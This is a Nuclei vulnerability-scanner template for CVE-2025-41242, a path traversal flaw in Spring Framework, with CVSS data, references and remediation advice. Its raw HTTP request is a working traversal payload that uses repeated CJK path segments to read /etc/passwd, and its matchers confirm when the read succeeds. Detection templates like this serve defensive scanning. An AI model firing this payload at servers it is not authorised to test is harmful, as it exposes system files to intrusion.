id: CVE-2025-41242

info:
  name: Spring Framework - Path Traversal
  author: DhiyaneshDk
  severity: medium
  description: |
    Spring Framework MVC applications deployed as WAR or with embedded Servlet containers that do not reject suspicious URI sequences and serve static resources with Spring resource handling contain a path traversal vulnerability, letting attackers access unauthorized files, exploit requires non-compliant Servlet container configuration.
  reference:
    - https://x.com/phithon_xg/status/2048853566564221372
    - https://github.com/vulhub/vulhub/tree/master/spring/CVE-2025-41242
    - https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41242
  impact: |
    Attackers can access unauthorized files via path traversal, potentially exposing sensitive data or system files.
  remediation: |
    Upgrade to the latest Spring Framework version and ensure deployment on compliant Servlet containers with default security features enabled.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2025-41242
    epss-score: 0.01916
    epss-percentile: 0.77191
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,spring,jetty,lfi,uri

http:
  - raw:
      - |+
        GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    unsafe: true

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - contains(header, "application/octet-stream")
          - status_code == 200
        condition: and
# digest: 4a0a0047304502210083ae1fb9ec3cfeecc47c17b62e1e0f11df37ed4a41431821f689b7d15977e52b02203cb8646e072ddc464b4d46634fc6056c1c4fd47f9fce8b9b99321d7f1fc8a0a4:922c64590222798bb761d5b6d8e72950